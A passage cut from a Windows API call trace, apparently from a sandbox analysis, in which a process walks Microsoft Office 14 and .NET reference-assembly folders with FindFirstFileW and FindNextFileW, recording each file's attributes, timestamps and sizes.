ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02148 [0051.211] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.211] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75974300, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75974300, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIVITL.ICO", cAlternateFileName="")) returned 1 [0052.379] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates\\*", lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02388 [0052.379] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.379] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0052.379] FindClose (in: hFindFile=0x3f02388 | out: hFindFile=0x3f02388) returned 1 [0052.379] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0052.380] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a42b900, ftCreationTime.dwHighDateTime=0x1c9d747, ftLastAccessTime.dwLowDateTime=0x5abbba30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a42b900, ftLastWriteTime.dwHighDateTime=0x1c9d747, nFileSizeHigh=0x0, nFileSizeLow=0x17e2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="StarterApplicationDescriptors.xml", cAlternateFileName="STARTE~1.XML")) returned 1 [0052.380] FindClose (in: hFindFile=0x3f02148 | out: hFindFile=0x3f02148) returned 1 [0052.380] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3ef1060 | out: hHeap=0x5a0000) returned 1 [0052.582] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3caa70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XML Files", cAlternateFileName="XMLFIL~1")) returned 0 [0052.582] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0052.582] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3fa9e40 | out: hHeap=0x5a0000) returned 1 [0052.582] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fd7600, ftCreationTime.dwHighDateTime=0x1cacbb3, ftLastAccessTime.dwLowDateTime=0x52fce0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fd7600, ftLastWriteTime.dwHighDateTime=0x1cacbb3, nFileSizeHigh=0x0, nFileSizeLow=0x3112b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE.EXE", cAlternateFileName="")) returned 1 [0052.583] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\*", lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0052.590] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.590] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMFormServices", cAlternateFileName="INFOPA~2")) returned 1 [0052.590] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02388 [0052.593] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.593] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMFormServicesV12", cAlternateFileName="INFOPA~1")) returned 1 [0052.593] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\*", lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02248 [0052.594] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.594] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ae85c00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x553a8c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ae85c00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xa770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0052.594] FindClose (in: hFindFile=0x3f02248 | out: hFindFile=0x3f02248) returned 1 [0052.594] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f13168 | out: hHeap=0x5a0000) returned 1 [0052.594] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ae85c00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ae85c00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xb770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0052.594] FindClose (in: hFindFile=0x3f02388 | out: hFindFile=0x3f02388) returned 1 [0052.594] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0052.594] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMV12", cAlternateFileName="INFOPA~1")) returned 1 [0052.595] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02388 [0052.595] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.595] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c198900, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x544ee410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c198900, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xd770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0052.595] FindClose (in: hFindFile=0x3f02388 | out: hFindFile=0x3f02388) returned 1 [0052.595] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0052.595] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c198900, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c198900, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xe770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0052.595] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0052.595] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3fa9e40 | out: hHeap=0x5a0000) returned 1 [0052.595] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x61d191f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x7bb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="INLAUNCH.DLL", cAlternateFileName="")) returned 1 [0052.596] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\*", lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51fe2db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0052.596] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51fe2db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.596] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Analysis", cAlternateFileName="")) returned 1 [0052.597] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02388 [0052.598] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.598] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x3bb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ANALYS32.XLL", cAlternateFileName="")) returned 1 [0052.598] FindClose (in: hFindFile=0x3f02388 | out: hFindFile=0x3f02388) returned 1 [0052.599] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0052.599] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x62688, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUROTOOL.XLAM", cAlternateFileName="EUROTO~1.XLA")) returned 1 [0052.599] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02388 [0052.600] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.600] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x6c340, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER.XLAM", cAlternateFileName="SOLVER~1.XLA")) returned 1 [0052.600] FindClose (in: hFindFile=0x3f02388 | out: hFindFile=0x3f02388) returned 1 [0052.600] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0052.600] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER", cAlternateFileName="")) returned 0 [0052.600] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0052.600] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3fa9e40 | out: hHeap=0x5a0000) returned 1 [0052.600] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5dfae80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xfafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGELEMS.DLL", cAlternateFileName="")) returned 1 [0052.605] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\*", lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0052.607] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.607] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb796bf00, ftCreationTime.dwHighDateTime=0x1bd8ab7, ftLastAccessTime.dwLowDateTime=0x5ebdaad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb796bf00, ftLastWriteTime.dwHighDateTime=0x1bd8ab7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPLAUSE.WAV", cAlternateFileName="")) returned 1 [0052.609] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0052.609] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3fa9e40 | out: hHeap=0x5a0000) returned 1 [0052.609] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4f5000, ftCreationTime.dwHighDateTime=0x1cac037, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4f5000, ftLastWriteTime.dwHighDateTime=0x1cac037, nFileSizeHigh=0x0, nFileSizeLow=0x1c798, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BusinessData.dll", cAlternateFileName="MI5659~1.DLL")) returned 1 [0054.513] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02248 [0054.514] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, 